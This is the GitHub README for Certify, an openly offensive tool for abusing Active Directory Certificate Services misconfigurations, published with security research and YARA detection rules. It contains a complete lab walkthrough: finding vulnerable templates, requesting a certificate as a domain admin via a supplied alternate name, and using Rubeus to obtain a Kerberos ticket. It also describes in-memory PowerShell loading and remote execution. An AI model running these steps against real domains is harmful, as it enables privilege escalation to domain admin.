GhostPack / Certify Public

main Go to file Code

leechristensen Merge pull request #40 from JonasBK... a2d230f · 3 months ago 31 Commits

Certify	feat: SAN url	3 months ago
.gitignore	BlackHat release	3 years ago
CHANGELOG.md	Added `/sidextension` flag to the `requ`...	2 years ago
Certify.sln	BlackHat release	3 years ago
Certify.yar	Initial commit	3 years ago
LICENSE	BlackHat release	3 years ago
README.md	feat: SAN url	3 months ago

README License

Certify

Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

@harmj0y and @tifkin_ are the primary authors of Certify and the the associated AD CS research (blog and whitepaper).

Table of Contents

Usage

```
C:\Tools>Certify.exe


   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
```

About

Active Directory certificate abuse.

Readme
View license
Activity
Custom properties
1.5k stars
29 watching
206 forks
Report repository

Releases

No releases published

Packages

No packages published

Contributors 10

Languages

● C# 99.8% ● YARA 0.2%

```
                          |___./
v1.0.0


Find information about all registered CAs:

  Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /pa


Find all enabled certificate templates:

  Certify.exe find [/ca:SERVER\ca-name | /domain:domain.local | /pa

Find vulnerable/abusable certificate templates using default low-pr

  Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domai

Find vulnerable/abusable certificate templates using all groups th

  Certify.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /

Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT

  Certify.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /

Find enabled certificate templates capable of client authenticatio

  Certify.exe find /clientauth [/ca:SERVER\ca-name | /domain:domai

Find all enabled certificate templates, display all of their permi

  Certify.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAM

Find all enabled certificate templates and output to a json file:

  Certify.exe find /json /outfile:C:\Temp\out.json [/ca:COMPUTER\C


Enumerate access control information for PKI objects:

  Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] [/qu


Request a new certificate using the current user context:

  Certify.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y

Request a new certificate using the current machine context:

  Certify.exe request /ca:SERVER\ca-name /machine [/subject:X] [/t

Request a new certificate using the current user context but for a

  Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER

Request a new certificate using the current user context but for a

  Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER

Request a new certificate using the current user context but for a

  Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER

Request a new certificate on behalf of another user, using an enro

  Certify.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:D


Download an already requested certificate:

  Certify.exe download /ca:SERVER\ca-name /id:X [/install] [/machi
```

```
Certify completed in 00:00:00.0200190
```

Using Requested Certificates

Certificates can be transformed to .pfx's usable with Certify with:

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptogra
```

Certificates can be used with Rubeus to request a TGT with:

```
Rubeus.exe asktgt /user:X /certificate:C:\Temp\cert.pfx /password:<CE
```

Example Walkthrough

First, use Certify.exe to see if there are any vulnerable templates:

```
C:\Temp>Certify.exe find /vulnerable
   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=theshire,DC=local'
[*] Restricting to CA name : dc.theshire.local\theshire-DC-CA

[*] Listing info about the Enterprise CA 'theshire-DC-CA'

    Enterprise CA Name            : theshire-DC-CA
    DNS Hostname                  : dc.theshire.local
    FullName                      : dc.theshire.local\theshire-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SE
    Cert SubjectName              : CN=theshire-DC-CA, DC=theshire, D
    Cert Thumbprint               : 187D81530E1ADBB6B8B9B961EAADC1F59
    Cert Serial                   : 14BFC25F2B6EEDA94404D5A5B0F33E21
    Cert Start Date               : 1/4/2021 10:48:02 AM
    Cert End Date                 : 1/4/2026 10:58:02 AM
    Cert Chain                    : CN=theshire-DC-CA,DC=theshire,DC=
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  ManageCA, ManageCertificates               BUILTIN\Admin
      Allow  ManageCA, ManageCertificates               THESHIRE\Doma
      Allow  ManageCA, Read, Enroll                     THESHIRE\Doma
        [!] Low-privileged principal has ManageCA rights!
      Allow  Enroll                                     THESHIRE\Doma
      Allow  ManageCA, ManageCertificates               THESHIRE\Ente
      Allow  ManageCertificates, Enroll                 THESHIRE\cert
      Allow  ManageCA, Enroll                           THESHIRE\cert
    Enrollment Agent Restrictions :
      Everyone                      S-1-1-0
        Template : <All>
        Targets  :
          Everyone                  S-1-1-0

      Everyone                      S-1-1-0
        Template : User
        Targets  :
          Everyone                  S-1-1-0
```

```
Vulnerable Certificates Templates :

    CA Name                               : dc.theshire.local\theshire-DC-(
    Template Name                         : User2
    Validity Period                       : 2 years
    Renewal Period                        : 6 weeks
    msPKI-Certificates-Name-Flag          : SUBJECT_ALT_REQUIRE_UPN, SUBJE(
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, I
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Smart C
    Permissions
      Enrollment Permissions
        Enrollment Rights                 : THESHIRE\Domain Admins        S
                                            THESHIRE\Enterprise Admins    S
        All Extended Rights               : THESHIRE\Domain Users         S
      Object Control Permissions
        Owner                             : THESHIRE\localadmin           S
        Full Control Principals           : THESHIRE\Domain Users         S
        WriteOwner Principals             : NT AUTHORITY\Authenticated User
                                            THESHIRE\Domain Admins        S
                                            THESHIRE\Domain Users         S
                                            THESHIRE\Enterprise Admins    S
        WriteDacl Principals              : NT AUTHORITY\Authenticated User
                                            THESHIRE\Domain Admins        S
                                            THESHIRE\Domain Users         S
                                            THESHIRE\Enterprise Admins    S
        WriteProperty Principals          : NT AUTHORITY\Authenticated User
                                            THESHIRE\Domain Admins        S
                                            THESHIRE\Domain Users         S
                                            THESHIRE\Enterprise Admins    S

    CA Name                               : dc.theshire.local\theshire-DC-(
    Template Name                         : VulnTemplate
    Validity Period                       : 3 years
    Renewal Period                        : 6 weeks
    msPKI-Certificates-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, I
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypt:
    Permissions
      Enrollment Permissions
        Enrollment Rights                 : THESHIRE\Domain Admins        S
                                            THESHIRE\Domain Users         S
                                            THESHIRE\Enterprise Admins    S
      Object Control Permissions
        Owner                             : THESHIRE\localadmin           S
        WriteOwner Principals             : THESHIRE\Domain Admins        S
                                            THESHIRE\Enterprise Admins    S
                                            THESHIRE\localadmin           S
        WriteDacl Principals              : THESHIRE\Domain Admins        S
                                            THESHIRE\Enterprise Admins    S
                                            THESHIRE\localadmin           S
        WriteProperty Principals          : THESHIRE\Domain Admins        S
                                            THESHIRE\Enterprise Admins    S
                                            THESHIRE\localadmin           S



Certify completed in 00:00:00.6548319
```

Given the above results, we have the three following issues:

1. `THESHIRE\Domain Users` have **ManageCA** permissions over the `dc.theshire.local\theshire-DC-CA` CA (ESC7)
   - This means that the EDITF_ATTRIBUTESUBJECTALTNAME2 flag can be flipped on the CA by anyone.
2. `THESHIRE\Domain Users` have full control over the **User2** template (ESC4)
   - This means that anyone can flip the **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** flag on this template and remove the **PEND_ALL_REQUESTS** issuance requirement.
3. `THESHIRE\Domain Users` can enroll in the **VulnTemplate** template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set (ESC1)

- This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA).

We'll show the abuse of scenario 3.

Next, let's request a new certificate for this template/CA, specifying a DA `localadmin` as the alternate principal:

```
C:\Temp>Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /te


   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : THESHIRE\harmj0y
[*] No subject name specified, using current context as subject.

[*] Template                : VulnTemplate
[*] Subject                 : CN=harmj0y, OU=TestOU, DC=theshire, DC
[*] AltName                 : localadmin

[*] Certificate Authority   : dc.theshire.local\theshire-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 337

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn8bKuwCYj8...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGITCCBQmgAwIBAgITVQAAAV...
-----END CERTIFICATE-----



[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft




Certify completed in 00:00:04.2127911
```

Copy the `-----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----` section to a file on Linux/macOS, and run the openssl command to convert it to a .pfx. When prompted, don't enter a password:

```
(base) laptop:~ harmj0y$ openssl pkcs12 -in cert.pem -keyex -CSP "Mi
Enter Export Password:
Verifying - Enter Export Password:
(base) laptop:~ harmj0y$
```

Finally, move the cert.pfx to your target machine filesystem (manually or through Cobalt Strike), and request a TGT for the `altname` user using Rubeus:

```
C:\Temp>Rubeus.exe asktgt /user:localadmin /certificate:C:\Temp\cert


   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
  v1.6.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=harmj0y, OU=Tes
[*] Building AS-REQ (w/ PKINIT preauth) for: 'theshire.local\localad
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFujCCBbagAwIBBaEDAgEWooIExzCC...(snip)...

  ServiceName           :  krbtgt/theshire.local
  ServiceRealm          :  THESHIRE.LOCAL
  UserName              :  localadmin
  UserRealm             :  THESHIRE.LOCAL
  StartTime             :  2/22/2021 2:06:51 PM
  EndTime               :  2/22/2021 3:06:51 PM
  RenewTill             :  3/1/2021 2:06:51 PM
  Flags                 :  name_canonicalize, pre_authent, initial,
  KeyType               :  rc4_hmac
  Base64(key)           :  Etb5WPFWeMbsZr2+FQQQMw==
```

Defensive Considerations

Certify was released at Black Hat 2021 with our "Certified Pre-Owned: Abusing Active Directory Certificate Services" talk.

The TypeRefHash of the current Certify codebase is **f9dbbfe2527e1164319350c0b0900c58be57a46c53ffef31699ed116a765995a**.

The TypeLib GUID of Certify is **64524ca5-e4d0-41b3-acc3-3bdbefd40c97**. This is reflected in the Yara rules currently in this repo.

See our whitepaper for prevention and detection guidance.

Compile Instructions

We are not planning on releasing binaries for Certify, so you will have to compile yourself :)

Certify has been built against .NET 4.0 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.

Sidenote: Running Certify Through PowerShell

If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:

```
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.e
```

Certify can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Certify assembly string):

```
$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::Fro
```

The Main() method and any arguments can then be invoked as follows:

```
[Certify.Program]::Main("find /vulnerable".Split())
```

Sidenote Sidenote: Running Certify Over PSRemoting

Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Certify has a function to help with that.

If you follow the instructions in Sidenote: Running Certify Through PowerShell to create a Certify.ps1, append something like the following to the script:

```
[Certify.Program]::MainString("find /vulnerable")
```

You should then be able to run Certify over PSRemoting with something like the following:

```
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\Certify.ps1
```

Alternatively, Certify's `/outfile:C:\FILE.txt` argument will redirect all output streams to the specified file.

Reflections

On the subject of public disclosure, we self-embargoed the release of our offensive tooling (Certify as well as ForgeCert) for ~45 days after we published our whitepaper in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. We also preemptively released some Yara rules/IOCs for both projects and released the defensive-focused PSPKIAudit PowerShell project along with the whitepaper. However, we have found that organizations and vendors have historically often not fixed issues or built detections for "theoretical" attacks until someone proves something is possible with a proof of concept.

Acknowledgments

Certify used a few resources found online as reference and inspiration:

- This post on requesting certificates from C#.
- This gist for SAN specification.
- This StackOverflow post on exporting private keys.
- This PKISolutions post on converting pkiExpirationPeriod.
- This section of MS-CSRA describing enrollment agent security DACLs.

The AD CS work was built on work from a number of others. The whitepaper has a complete treatment, but to summarize:

- Benjamin Delpy for his extensive work on smart cards/certificates with Mimikatz and Kekeo.
- PKI Solutions for their excellent posts on PKI in Active Directory, as well as their PSPKI PowerShell module, which our auditing toolkit is based on.
- The "Windows Server 2008 – PKI and Certificate Security" book by Brian Komar.
- The following open technical specifications provided by Microsoft:
  - [MS-CERSOD]: Certificate Services Protocols Overview
  - [MS-CRTD]: Certificate Templates Structure
  - [MS-CSRA]: Certificate Services Remote Administration Protocol
  - [MS-ICPR]: ICertPassage Remote Protocol
  - [MS-WCCE]: Windows Client Certificate Enrollment Protocol
- Christoph Falta's GitHub repo which covers some details on attacking certificate templates, including virtual smart cards as well as some ideas on ACL based abuses.
- CQURE's "The tale of Enhanced Key (mis)Usage" post which covers some Subject Alternative Name abuses.
- Keyfactor's 2016 post "Hidden Dangers: Certificate Subject Alternative Names (SANs)"
- @Elkement's posts "Sizzle @ hackthebox – Unintended: Getting a Logon Smartcard for the Domain Admin!" and "Impersonating a Windows Enterprise Admin with a

Certificate: Kerberos PKINIT from Linux" detail certificate template misconfigurations.

- Carl Sörqvist wrote up a detailed, and plausible, scenario for how some of these misconfigurations happen titled "Supply in the Request Shenanigans".